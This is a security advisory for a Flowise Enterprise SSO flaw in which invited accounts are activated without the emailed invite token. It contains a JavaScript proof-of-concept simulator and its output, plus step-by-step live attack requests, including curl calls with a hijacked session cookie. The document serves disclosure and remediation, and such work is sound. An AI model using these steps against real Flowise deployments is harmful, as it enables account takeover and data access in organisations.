Vulnerability DatabaseGHSA-vf3j-89vf-r697

GHSA-vf3j-89vf-r697: 
Flowise vulnerability analysis and mitigation

Summary

Flowise Enterprise's user invitation flow (saveInviteAccount, account.service.ts:349-414) creates a User row with status = INVITED and a unique tempToken whose intended purpose is to be a single-use, time-bounded proof of email ownership: the admin emails a /register?token=<tempToken> link to the invitee, who clicks it and POSTs to /api/v1/account/register with the token, an email match, and a new password. The legitimate register handler (account.service.ts:244-282, ENTERPRISE branch) validates the caller-supplied tempToken against the DB row, checks email match, checks expiry, and only then flips status = ACTIVE. The SSO verifyAndLogin path (SSOBase.ts:80-94) bypasses this flow entirely. When an SSO callback arrives with an email matching an INVITED user, it grabs the User row from the DB including its DB-stored tempToken via the spread ...user on line 84, then passes the resulting data object to accountService.register(data) (line 92):

} else {                                                              // line 80
    if (user.status === UserStatus.INVITED) {                         // line 81
        const data: any = {
            user: {
                ...user,                                              // ← line 84: spreads tempToken from DB
                email,
                name: profile.displayName || '',
                status: UserStatus.ACTIVE,
                credential: undefined
            }
        }
        const accountService = new AccountService()
        const newAccount = await accountService.register(data)        // ← line 92
        user = newAccount.user
    }

register is then run with the server's own DB-stored tempToken serving as the "caller-supplied" token. Its validation chain (account.service.ts:245-265) — readUserByToken(tempToken), email match check, expiry check — passes trivially because the token came from the DB row that the server just looked up by email two function calls earlier. The status is flipped to ACTIVE, the organizationUser.status is flipped to ACTIVE, the tempToken is cleared, and verifyAndLogin proceeds to construct a LoggedInUser session for the attacker. The net effect: anyone who can authenticate at any configured SSO provider with the invitee's email as the email claim becomes the invited user — without ever knowing or possessing the email-link token. The 24-hour INVITE_TOKEN_EXPIRY_IN_HOURS window applies (line 265), but during that window the attack is a single OIDC flow. This is especially impactful in ENTERPRISE platform mode, where unsolicited SSO logins are normally rejected (SSOBase.ts:60-63 throws USER_NOT_FOUND for new SSO callers). this advisory is the primary external-attacker route into ENTERPRISE deployments — every pending invitation is a foothold. The behavioral PoC at the bundled behavioral PoC confirms all four stages: admin invitation creates status=INVITED, tempToken=<secret>; the legitimate register flow correctly rejects calls without the token; the SSO callback (knowing only the email) flips status to ACTIVE and clears the token; subsequent SSO logins as the same email then take the standard email-only-match path (covered in the SSO email-only-binding companion advisory) indefinitely.

Relationship to the email-only identity-binding companion advisory

The companion advisory on SSO email-only identity binding covers already-ACTIVE users — anyone with a Flowise account is takeoverable by an SSO attacker with their email. This advisory covers INVITED users — anyone with a pending invitation is pre-takeoverable. Both flow through SSOBase.verifyAndLogin and both rest on the same defect (no provider-issued sub is ever bound to a user). They are filed as separate advisories because they exploit different code branches (line 81-93 INVITED arm vs line 95-97 ACTIVE arm) and have slightly different prerequisites (this advisory requires an in-flight invitation; the companion advisory does not). The single, shared remediation is the same: introduce a (provider, sub) ↔ userId binding table and never auto-merge by email. This advisory has additional remediations that don't apply to the companion — see Remediation below.

Details

Vulnerable file 1 — the SSO INVITED auto-promote branch: packages/server/src/enterprise/sso/SSOBase.ts:80-94

} else {                                                              // line 80 (user found by email)
    if (user.status === UserStatus.INVITED) {                         // line 81
        const data: any = {
            user: {
                ...user,                                              // ← line 84:  spreads tempToken,
                                                                      //             tokenExpiry, etc.
                                                                      //             from the DB row
                email,                                                // ← whatever the SSO provider claimed
                name: profile.displayName || '',
                status: UserStatus.ACTIVE,
                credential: undefined                                  // ← no password gets set
            }
        }
        const accountService = new AccountService()
        const newAccount = await accountService.register(data)        // ← line 92
        user = newAccount.user
    }
    // (fall-through to LoggedInUser construction at SSOBase.ts:99-141 —
    //  attacker's session is built and returned to the provider's callback,
    //  which calls req.login(user) and issues a Flowise session cookie)
}

Vulnerable file 2 — the validator that gets fed the server's own state: packages/server/src/enterprise/services/account.service.ts:244-282 (ENTERPRISE branch of createRegisterAccount)

case Platform.ENTERPRISE: {
    if (data.user.tempToken) {                                        // ← line 245: yes — spread from DB
        const user = await this.userService.readUserByToken(data.user.tempToken, queryRunner)   // line 246
        if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
        if (user.email.toLowerCase() !== data.user.email?.toLowerCase())                          // line 248
            throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.INVALID_USER_EMAIL)
        // ... organizationUser lookup ...
        const tokenExpiry = new Date(user.tokenExpiry!)
        const today = new Date()
        if (today > tokenExpiry) throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.EXPIRED_TEMP_TOKEN)   // line 265
        data.user.tempToken = ''                                       // line 266
        data.user.tokenExpiry = null
        data.user.name = name
        data.user.status = UserStatus.ACTIVE                           // ← line 269: PROMOTED
        data.organizationUser.status = OrganizationUserStatus.ACTIVE   // ← line 270: PROMOTED
        data.organizationUser.role = await this.roleService.readGeneralRoleByName(GeneralRole.MEMBER, queryRunner)
        data.workspace.name = WorkspaceName.DEFAULT_PERSONAL_WORKSPACE
        data.workspaceUser.role = await this.roleService.readGeneralRoleByName(GeneralRole.PERSONAL_WORKSPACE, queryRunner)
    } else {
        // (else: top-level signup path — not relevant here)
    }
    break
}

The semantic confusion: this function was written assuming the caller was the invitee, supplying the tempToken from the email link as proof of email ownership. Re-using it from the SSO path means the server is now both the prover and the verifier. The verification collapses to "does this user exist in our DB" — a property that is already established by the email lookup at SSOBase.ts:56. Vulnerable file 3 — what creates the INVITED rows in the first place (legitimate flow, included for context): packages/server/src/enterprise/services/account.service.ts:349-414 (saveInviteAccount, abridged)

const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
if (!user) {
    data.user.tempToken = generateTempToken()                          // line 370
    const tokenExpiry = new Date()
    const expiryInHours = process.env.INVITE_TOKEN_EXPIRY_IN_HOURS ? parseInt(process.env.INVITE_TOKEN_EXPIRY_IN_HOURS) : 24
    tokenExpiry.setHours(tokenExpiry.getHours() + expiryInHours)
    data.user.tokenExpiry = tokenExpiry
    data.user.status = UserStatus.INVITED                              // line 376
    const registerLink =
        this.identityManager.getPlatformType() === Platform.ENTERPRISE
            ? getSecureTokenLink('/register', data.user.tempToken!)
            : getSecureAppUrl('/register')
    await this.sendInviteEmailIfAllowed(
        () => sendWorkspaceInvite(data.user.email!, data.workspace.name!, registerLink, this.identityManager.getPlatformType()),
        'workspace-invite'
    )
    data.user = await this.userService.createNewUser(data.user, queryRunner)
    data.organizationUser.status = OrganizationUserStatus.INVITED      // line 393
    data.organizationUser = await this.organizationUserService.createNewOrganizationUser(data.organizationUser, queryRunner)
    // ...
    data.workspaceUser.status = WorkspaceUserStatus.INVITED            // line 402
}

After this completes, the User table contains a row with { email, status: INVITED, tempToken: <secret>, tokenExpiry: now+24h }. The admin emails the invitee a link of the form https://<host>/register?token=<secret>. The tempToken is the only proof of email ownership built into the design. The end-to-end takeover sequence:

  1. Admin invokes POST /api/v1/account/invite-user with email = target@example.com. saveInviteAccount creates the User row with status=INVITED, tempToken=T_invite, tokenExpiry=T_now+24h and emails the link to target@example.com.
  2. Attacker, knowing the invitation was sent (insider tipoff, shoulder-surfing the admin, leaked CC list, predictable from a public bulk-onboarding announcement, intercepted at an upstream SMTP relay, etc.) configures SSO at one of Flowise's trusted providers to issue email: target@example.com. Easiest case: Auth0 connection where verify_email_on_signup: false, which is the default for many Auth0 templates.
  3. Attacker hits GET /api/v1/auth0/login (or /google/login etc.). The OAuth flow redirects, the attacker authenticates at Auth0, Auth0 issues a userInfo response with email: target@example.com.
  4. Auth0SSO.ts:86 calls verifyAndLogin(target@example.com, …).
  5. SSOBase.ts:56 finds the INVITED User row.
  6. SSOBase.ts:81-93 enters the auto-promote branch. It spreads the User row (including tempToken: T_invite) into data and calls accountService.register(data).
  7. register validates data.user.tempToken == T_invite against the DB (it was just read from the DB; the check passes), checks email match (matches itself), checks expiry (within 24h). Sets user.status = ACTIVE, organizationUser.status = ACTIVE, role = MEMBER, clears tempToken.
  8. Control returns to SSOBase.ts:99-141, which builds a LoggedInUser for target@example.com and returns it.
  9. Provider callback at Auth0SSO.ts:127-130 calls req.login(loggedInUser) and issues a Flowise session cookie.
  10. Attacker now holds a session as target@example.com, with organizationUser status ACTIVE and role MEMBER of the inviting org.
  11. The original invitee's email link is now invalid (tempToken cleared at step 7); when they click it later, register fails with USER_NOT_FOUND or INVALID_TEMP_TOKEN. The legitimate user cannot complete onboarding — first signal that something is wrong.

PoC

The bundled PoC replays the verbatim saveInviteAccount, createRegisterAccount (ENTERPRISE branch), and SSOBase.verifyAndLogin (INVITED arm) into a self-contained simulator. The PoC confirms the legitimate accept-invite correctly requires the tempToken, while the SSO callback completes the same state transition without the tempToken being supplied by the caller.

// PoC: INVITED users auto-promoted to ACTIVE by any SSO email match
//                (invite-token bypass)
//
// Replays the verbatim invite + accept-invite + SSO auto-promote paths from
//   packages/server/src/enterprise/services/account.service.ts:349-414  (saveInviteAccount — admin invites a user)
//   packages/server/src/enterprise/services/account.service.ts:244-282  (createRegisterAccount, ENTERPRISE branch — legitimate accept-invite)
//   packages/server/src/enterprise/sso/SSOBase.ts:81-94                (the auto-promote branch — the bypass)
// in a self-contained simulator.
//
// Confirms that:
//   (a) The legitimate accept-invite flow REQUIRES the caller to know the
//       tempToken from the email — the tempToken is the proof-of-email-ownership.
//   (b) The SSO auto-promote branch grabs the tempToken from the DB row itself
//       (via `...user` spread on SSOBase.ts:84) and passes it back to register(),
//       so the tempToken validation at account.service.ts:245-265 is satisfied
//       by the server's own state — not by anything the caller proved.
//   (c) An attacker who can authenticate at any configured SSO provider with the
//       invited email as a claim has the User row promoted to ACTIVE and is
//       logged in as that user, without ever knowing or possessing the invite link.
//   (d) This works in ENTERPRISE mode where unsolicited SSO logins are rejected
//       — this is the primary external-attacker path against ENTERPRISE.
const crypto = require('crypto')
// --- In-memory schema (User / OrganizationUser / WorkspaceUser) -------------
const userTable = []
const organizationUserTable = []
const workspaceUserTable = []
const UserStatus = Object.freeze({ ACTIVE: 'active', INVITED: 'invited', UNVERIFIED: 'unverified' })
const OrganizationUserStatus = Object.freeze({ ACTIVE: 'active', INVITED: 'invited' })
// --- Verbatim port of UserService.readUserByEmail / readUserByToken ---------
//     (user.service.ts:58-62 / user.service.ts:64-66)
function readUserByEmail(email) {
    return userTable.find(u => u.email.toLowerCase() === email.toLowerCase()) || null
}
function readUserByToken(token) {
    return userTable.find(u => u.tempToken === token) || null
}
function generateTempToken() {
    return crypto.randomBytes(32).toString('hex')
}
// --- Verbatim port of saveInviteAccount (account.service.ts:349-414) --------
//     This is what an admin POSTs to /api/v1/account/invite
function adminInvite({ adminUserId, inviteEmail, workspaceId, organizationId }) {
    const existingUser = readUserByEmail(inviteEmail)
    if (existingUser) throw new Error('USER_ALREADY_EXISTS_USE_DIFFERENT_PATH')
    const tokenExpiry = new Date(Date.now() + 24 * 3600 * 1000)
    const newUser = {
        id: crypto.randomUUID(),
        email: inviteEmail,
        name: inviteEmail,
        credential: null,
        tempToken: generateTempToken(),
        tokenExpiry,
        status: UserStatus.INVITED,            // ← line 376
        createdBy: adminUserId,
        registeredVia: '<not yet>'
    }
    userTable.push(newUser)
    organizationUserTable.push({
        id: crypto.randomUUID(),
        organizationId,
        userId: newUser.id,
        roleName: 'MEMBER',
        status: OrganizationUserStatus.INVITED,    // ← line 393
        createdBy: adminUserId
    })
    workspaceUserTable.push({
        id: crypto.randomUUID(),
        workspaceId,
        userId: newUser.id,
        roleName: 'MEMBER',
        status: 'INVITED',                          // ← line 402
        createdBy: adminUserId
    })
    // The admin emails the invitation link, e.g.
    //   https://flowise.example.com/register?token=<tempToken>
    return {
        invitedUser: newUser,
        emailLink: `https://flowise.example.com/register?token=${newUser.tempToken}`
    }
}
// --- Verbatim port of createRegisterAccount, ENTERPRISE branch --------------
//     (account.service.ts:244-282 — the LEGITIMATE accept-invite path).
//     Public POST /api/v1/account/register with {user: {tempToken, email, credential, name}}
function legitimateRegister({ tempToken, email, credential, name }) {
    if (!tempToken) throw new Error('INVALID_TEMP_TOKEN')      // line 245 inverse
    const user = readUserByToken(tempToken)                    // line 246
    if (!user) throw new Error('USER_NOT_FOUND')               // line 247
    if (user.email.toLowerCase() !== email.toLowerCase())      // line 248
        throw new Error('INVALID_USER_EMAIL')                  // line 249
    if (new Date() > new Date(user.tokenExpiry))               // line 263-265
        throw new Error('EXPIRED_TEMP_TOKEN')
    user.credential = credential ? crypto.createHash('sha256').update(credential).digest('hex') : user.credential
    user.name = name || user.name
    user.tempToken = ''                                        // line 266
    user.tokenExpiry = null
    user.status = UserStatus.ACTIVE                            // line 269
    user.registeredVia = 'invite-link + password'
    const orgUser = organizationUserTable.find(ou => ou.userId === user.id)
    if (orgUser) {
        orgUser.status = OrganizationUserStatus.ACTIVE          // line 270
    }
    return user
}
// --- Verbatim port of SSOBase.verifyAndLogin INVITED branch (SSOBase.ts:80-97)
//     This is the BYPASS. Note the {...user} spread on line 84 — it copies the
//     DB-stored tempToken into `data`, which the server then passes BACK to its
//     own register() function on line 92.
function ssoVerifyAndLogin({ email, profile, providerName, platform }) {
    let user = readUserByEmail(email)                          // SSOBase.ts:56
    if (!user) {
        if (platform === 'ENTERPRISE') {
            throw new Error('USER_NOT_FOUND_ENTERPRISE_REJECTS_NEW_SSO')
        }
        // CLOUD: register a fresh account; not relevant for this attack
        const newUser = { id: crypto.randomUUID(), email, name: profile.displayName, status: UserStatus.ACTIVE, registeredVia: providerName }
        userTable.push(newUser)
        return { user: newUser, ssoProvider: providerName }
    }
    if (user.status === UserStatus.INVITED) {                  // ← SSOBase.ts:81
        // *** The bypass. The next line spreads the User from DB — including its tempToken.
        const data = {
            user: {
                ...user,                                       // ← SSOBase.ts:84: COPIES tempToken from DB
                email,
                name: profile.displayName || '',
                status: UserStatus.ACTIVE,
                credential: undefined
            }
        }
        // The server now calls register() with its OWN DB-stored tempToken.
        // register() validates the tempToken against the DB — the same DB it just
        // read it from. The check passes trivially. The "proof-of-email-ownership"
        // gate has been satisfied by the server, not the caller.
        const registered = legitimateRegister({
            tempToken: data.user.tempToken,                     // ← server-supplied
            email: data.user.email,
            credential: undefined,                              // ← no password set
            name: data.user.name
        })
        // Mark how this account got activated — for the demonstration only.
        registered.registeredVia = `${providerName} (auto-promoted from INVITED, no tempToken proof)`
        user = registered
    }
    // SSOBase.ts:99-141 builds LoggedInUser and calls done() — attacker now has session.
    return { user, ssoProvider: providerName }
}
;(async () => {
    console.log('================================================================')
    console.log('Stage 1 — Admin invites target@example.com')
    console.log('================================================================')
    const ADMIN_ID = 'admin-001'
    organizationUserTable.push({ id: 'org-admin-row', organizationId: 'org-acme', userId: ADMIN_ID, roleName: 'OWNER', status: OrganizationUserStatus.ACTIVE })
    userTable.push({ id: ADMIN_ID, email: 'admin@example.com', name: 'Admin', status: UserStatus.ACTIVE, registeredVia: 'local' })
    const inviteResult = adminInvite({
        adminUserId: ADMIN_ID,
        inviteEmail: 'target@example.com',
        workspaceId: 'ws-acme-shared',
        organizationId: 'org-acme'
    })
    const invitedUser = inviteResult.invitedUser
    const realInviteToken = invitedUser.tempToken
    console.log(`  invited user: ${invitedUser.email}`)
    console.log(`  status: ${invitedUser.status}`)
    console.log(`  tempToken: ${realInviteToken.substring(0, 16)}…  (sent ONLY in the email)`)
    console.log(`  email link: ${inviteResult.emailLink.substring(0, 60)}…`)
    console.log(`  organizationUser status: ${organizationUserTable.find(o => o.userId === invitedUser.id).status}`)
    console.log(`  workspaceUser status: ${workspaceUserTable.find(w => w.userId === invitedUser.id).status}`)
    console.log('\n================================================================')
    console.log('Stage 2 — Legitimate accept: registration flow REQUIRES the tempToken')
    console.log('================================================================')
    try {
        legitimateRegister({ tempToken: '', email: 'target@example.com', credential: 'NewPassword!', name: 'Real Target' })
        console.log('  unexpected — register accepted without tempToken')
    } catch (e) {
        console.log(`  ❌ register rejected without tempToken: "${e.message}"  (correct)`)
    }
    try {
        legitimateRegister({ tempToken: 'guessed-token', email: 'target@example.com', credential: 'NewPassword!', name: 'Real Target' })
        console.log('  unexpected — register accepted with wrong tempToken')
    } catch (e) {
        console.log(`  ❌ register rejected with wrong tempToken: "${e.message}"  (correct)`)
    }
    console.log('\n================================================================')
    console.log('Stage 3 — Attacker hits SSO callback with target@example.com')
    console.log('  (Auth0 connection with verify_email_on_signup=false, OR a GitHub')
    console.log('   account with target@example.com as primary, OR any provider that')
    console.log('   the org\'s Flowise instance trusts and that lets the attacker mint')
    console.log('   the email claim.)  Attacker has NO knowledge of the tempToken.')
    console.log('================================================================')
    console.log(`  [pre-attack] target@example.com user.status = ${readUserByEmail('target@example.com').status}`)
    console.log(`  [pre-attack] target@example.com organizationUser.status = ${organizationUserTable.find(o => o.userId === invitedUser.id).status}`)
    console.log(`  [pre-attack] target@example.com user.tempToken = ${readUserByEmail('target@example.com').tempToken.substring(0, 16)}…`)
    const sso = ssoVerifyAndLogin({
        email: 'target@example.com',
        profile: { displayName: 'Mallory Attacker', id: 'auth0|attacker' },
        providerName: 'Auth0 SSO',
        platform: 'ENTERPRISE'                                    // ← ENTERPRISE rejects fresh SSO,
                                                                  //   but the INVITED branch fires first
    })
    console.log('\n  [post-attack] verifyAndLogin returned a session for:')
    console.log(`    user.id = ${sso.user.id}`)
    console.log(`    user.email = ${sso.user.email}`)
    console.log(`    user.status = ${sso.user.status}`)
    console.log(`    user.tempToken = "${sso.user.tempToken}"  (cleared by register())`)
    console.log(`    user.registeredVia = "${sso.user.registeredVia}"`)
    console.log(`    organizationUser.status = ${organizationUserTable.find(o => o.userId === sso.user.id).status}`)
    console.log(`    ssoProvider on session = "${sso.ssoProvider}"`)
    if (sso.user.status === UserStatus.ACTIVE && organizationUserTable.find(o => o.userId === sso.user.id).status === OrganizationUserStatus.ACTIVE) {
        console.log('\n  [+] CONFIRMED — attacker activated the INVITED account via SSO,')
        console.log('      bypassing the tempToken-based proof-of-email-ownership.')
        console.log('      The attacker never read the email link.')
    }
    console.log('\n================================================================')
    console.log('Stage 4 — Attacker has full org Member access via SSO going forward')
    console.log('================================================================')
    console.log('  Subsequent SSO logins by the attacker no longer hit the INVITED branch')
    console.log('  (status is now ACTIVE), so they take the normal email-only-match path:')
    const followup = ssoVerifyAndLogin({
        email: 'target@example.com',
        profile: { displayName: 'Mallory Attacker', id: 'auth0|attacker' },
        providerName: 'Auth0 SSO',
        platform: 'ENTERPRISE'
    })
    console.log(`    follow-up login → user.id = ${followup.user.id}, status = ${followup.user.status}`)
    console.log('  Attacker now logs in as the invited user indefinitely.')
    console.log('\n================================================================')
    console.log('Why the tempToken validation is meaningless in the SSO path')
    console.log('================================================================')
    console.log('In account.service.ts:245-265 (the validator):')
    console.log('   if (data.user.tempToken) {')
    console.log('     const user = await this.userService.readUserByToken(data.user.tempToken, queryRunner)')
    console.log('     if (user.email.toLowerCase() !== data.user.email?.toLowerCase()) ...')
    console.log('     if (today > tokenExpiry) ...')
    console.log('     // ↑ all checks pass — the tempToken came from the DB row that the')
    console.log('     //   server itself just looked up by email in SSOBase.ts:56.')
    console.log('   }')
    console.log('In SSOBase.ts:84:')
    console.log('   const data = { user: { ...user /* ← copies tempToken from DB! */, ... } }')
    console.log('   await accountService.register(data)')
    console.log('')
    console.log('The validator was designed to verify the CALLER possessed the tempToken')
    console.log('(via the email link). In the SSO path, the SERVER supplies its own state')
    console.log('to its own validator — the check is reduced to "the user exists in our DB."')
    console.log('\n================================================================')
    console.log('Realistic exploitation paths')
    console.log('================================================================')
    console.log('1. ENTERPRISE deployment with Auth0 (verify_email_on_signup=false). Admin')
    console.log('   sends invite to new-employee@company.com. Attacker registers an Auth0')
    console.log('   user with that email and triggers Auth0 SSO at Flowise. Account is')
    console.log('   ACTIVE-promoted; attacker is in.')
    console.log('2. Chained with the GitHub-primary-email companion advisory: attacker creates a GitHub')
    console.log('   account, adds new-employee@company.com to their email list, makes it')
    console.log('   primary, triggers GitHub SSO at Flowise. Same outcome.')
    console.log('3. Race during onboarding rollouts: when an org bulk-invites N users at')
    console.log('   once, all N invitations are exposed to takeover via this attack by anyone who can')
    console.log('   produce SSO email claims for those emails — within the 24h tokenExpiry.')
})()

Observed output

invited: target@example.com status= invited tempToken= 414c882f…
register without token rejected: INVALID_TEMP_TOKEN
register wrong token rejected: USER_NOT_FOUND
post-SSO user.status: active  (was INVITED)
post-SSO orgUser.status: active
post-SSO tempToken: ""  (cleared by register())
post-SSO registeredVia: "Auth0 SSO (auto-promoted from INVITED, no tempToken proof)"
[+] CONFIRMED — attacker activated the INVITED account via SSO,
    bypassing the tempToken-based proof-of-email-ownership.
    The attacker never read the email link.

End-to-end against a live Flowise Enterprise instance


# Pre-condition: Flowise Enterprise has Auth0 SSO enabled, AND admin has just

# invited target@example.com (User row status=INVITED, tempToken set).

# 1. Attacker creates an Auth0 user at the configured Auth0 tenant with email

#    target@example.com  (Auth0 username/password connection where

#    `verify_email_on_signup: false`, or a social connection that doesn't enforce

#    verification, or a malicious Auth0 tenant the org's instance trusts).

# 2. Attacker initiates Auth0 login at Flowise:
GET https://flowise.example.com/api/v1/auth0/login
   ↓ Auth0 redirects after attacker authenticates at Auth0 ↓
GET https://flowise.example.com/api/v1/auth0/callback?code=AUTH_CODE&state=...

# 3. Server exchanges the code, fetches userInfo with email=target@example.com.

#    SSOBase.verifyAndLogin → readUserByEmail → INVITED row.

#    Auto-promote branch fires → register() flips status to ACTIVE.

#    setTokenOrCookies(target) → attacker now holds a session as the invited user.

# 4. Attacker has a Member role in the inviting organization:
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/chatflows

# → returns the org's Member-visible chatflows
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/credentials

# → returns the user's credentials (initially empty; attacker can now create any)
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/workspace-users

# → returns the org's workspace-user listing (depending on role permissions)

# 5. The legitimate invitee's email link no longer works:
GET https://flowise.example.com/register?token=<original tempToken>
   → INVALID_TEMP_TOKEN  (it was cleared by step 3)

Impact

  • Class: Improper Authentication (CWE-287) primary; Authentication Bypass via Alternate Path (CWE-288); Use of Single-Factor Authentication based on Incorrect Identifier (CWE-308 in spirit); Authorization Bypass Through User-Controlled Key (CWE-639). The invite-token-bypass aspect specifically maps to CWE-302 (Authentication Bypass by Assumed-Immutable Data) — the server is treating its own DB-stored tempToken as if it had been supplied by an authenticated caller.
  • Affected: Flowise Enterprise platform deployments — i.e., all paid-tier customers using SSO and the user-invitation flow. Both are baseline Enterprise features, so practically every deployment is in scope.
  • Prerequisites:
    • Default scenario (AC:L): an active invitation is in flight (within INVITE_TOKEN_EXPIRY_IN_HOURS, default 24h), and the attacker can authenticate at any configured SSO provider with the invitee's email as the email claim. Mainstream conditions for medium-to-large Enterprise deployments: routine onboarding creates many invitations daily, and the pool of attackers who can mint email claims is large (any Auth0 customer whose verify_email_on_signup is false; any GitHub user via primary- email selection; insiders with access to one IdP tenant).
    • Hardened scenario (AC:H): strict single-IdP with verifying semantics; attacker has no insider knowledge that an invitation is pending. The attack window is bounded both by invitation expiry and by the attacker having to learn that an invitation was sent.
  • Result:
    • Foothold in ENTERPRISE deployments. ENTERPRISE mode rejects new SSO callers (SSOBase.ts:60-63); this advisory is the canonical external-attacker route into a deployment that otherwise has no self-service signup. Every pending invitation is one full Member account away from compromise.
    • Confidentiality: read of the inviting organization's Member-visible data — chatflows shared with the invited workspace, credentials the attacker subsequently creates, workspace-user listings, audit logs visible to Member.
    • Integrity: create/modify/delete chatflows and credentials in the attacker's now-active workspaces; create API keys; act as a legitimate Member for any subsequent workflow.
    • Loss of integrity for the legitimate invitation flow. The real invitee's email link is invalidated by the attacker's first SSO login (the tempToken is cleared at account.service.ts:266). Their next attempt to register with the link fails. This is also the most reliable detection signal — see Remediation.
    • Persistence. Subsequent SSO logins by the attacker no longer hit the INVITED branch (status is now ACTIVE) and take the standard email-only-match path (per the companion advisory). The attacker has indefinite SSO-based access until the org disables the user.

Remediation

Maintainer fix (recommended — do not auto-promote in the SSO path): The simplest correct change is to not bypass the email-link flow. Treat INVITED users as "still requiring the email link" even when an SSO callback arrives with their email. Practically: in SSOBase.ts:80-94, replace the auto-promote branch with a refusal:

} else {
    if (user.status === UserStatus.INVITED) {
        // The user has not yet completed their invitation — the email-link
        // tempToken is the only proof of email ownership in our model. Do
        // not consume the tempToken on their behalf.
        return done({
            name: 'SSO_LOGIN_FAILED',
            message: 'You have a pending invitation. Please open the invitation email and complete registration there before signing in via SSO.'
        }, undefined)
    }
    // ... existing ACTIVE-user path ...
}

This forces the legitimate invitee to click the email link (proving email ownership), set up their account, and only then sign in via SSO. The attacker — who cannot read the email — has no path to ACTIVE. Combined fix with the SSO email-only-binding companion advisory (recommended — (provider, sub) binding table): Per that companion advisory's remediation, introduce a UserIdentity entity that maps each (provider, sub) to a single Flowise User. With that in place, the INVITED auto-promote can be safely retained but only for the specific case where:

  1. The user's row has status INVITED.
  2. There is no existing UserIdentity row for (provider, sub).
  3. The IdP's email_verified claim is true (not currently consumed — provider callbacks would need to honor it). In that case, store UserIdentity(provider, sub, userId), mark the invitation accepted, and proceed. Subsequent logins go through the binding rather than email matching. Both this advisory and the companion are then closed by the same change. Defense in depth:
  4. Honor email_verified on OIDC providers. Currently Auth0SSO.ts:76, GoogleSSO.ts:53, and AzureSSO.ts:97 read profile.emails[0].value / profile.username without consulting the email_verified boolean. Refuse any callback where the provider says the email is unverified. This dramatically narrows this advisory and the companion advisory's exploitation surface.
  5. Audit-log invitation acceptances and SSO promotions separately. Currently both endpoints emit indistinguishable success log lines. A dedicated INVITATION_ACCEPTED_VIA_SSO audit event makes this attack visible in retrospect and supports detection rules ("alert when an invitation is consumed via SSO before the email link was ever clicked").
  6. Shorten the invitation expiry default. 24h is too long for an automated attacker. 1-2 hours is sufficient for legitimate users who check email promptly; longer-lived invitations should require admin re-issue.
  7. Notify the inviting admin AND the invitee when an invitation is consumed. Both parties seeing the SSO-completion message creates an out-of-band detection channel even without an audit pipeline.
  8. Block invitation resends within a cooldown window. Currently resending an invite issues a fresh tempToken, which extends the exposure window arbitrarily. User mitigations until a patch ships:
  • Use only ONE SSO provider per Flowise Enterprise instance, with strict email verification. Disable Auth0 entirely if its configured connection allows verify_email_on_signup: false.
  • Disable the invite-by-email flow entirely and onboard users manually via direct SSO provisioning (e.g., create the user in Azure AD / Google Workspace, then have them sign in to Flowise via SSO; let CLOUD-mode auto-registration handle the User row creation). This route avoids the INVITED status entirely.
  • Audit existing INVITED users. For each User row where status = 'invited', check whether the invitee has actually clicked the link. Any INVITED row pending in the DB is a candidate for this attack; if there's any concern the invitation is suspicious, cancel and re-issue (which voids the prior tempToken).
  • For the invitee: if your invitation email link returns INVALID_TEMP_TOKEN or USER_NOT_FOUND on first click, do not request a re-send. Instead, contact the inviting admin to verify whether the account was already activated by someone else — this is the canonical detection signal for this attack.

Source: NVD

Related Flowise vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-vf3j-89vf-r697CRITICAL9.2
  • Flowise logoFlowise
  • flowise
NoNoSep 10, 2026
GHSA-cffm-583c-vffrCRITICAL9.2
  • Flowise logoFlowise
  • flowise
NoNoSep 10, 2026
CVE-2026-91937HIGH8.7
  • Flowise logoFlowise
  • flowise
NoYesSep 15, 2026
CVE-2026-91935HIGH8.7
  • JavaScript logoJavaScript
  • flowise
NoYesSep 15, 2026
GHSA-rpcc-gw54-mfgxHIGH8.7
  • Flowise logoFlowise
  • flowise
NoNoSep 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management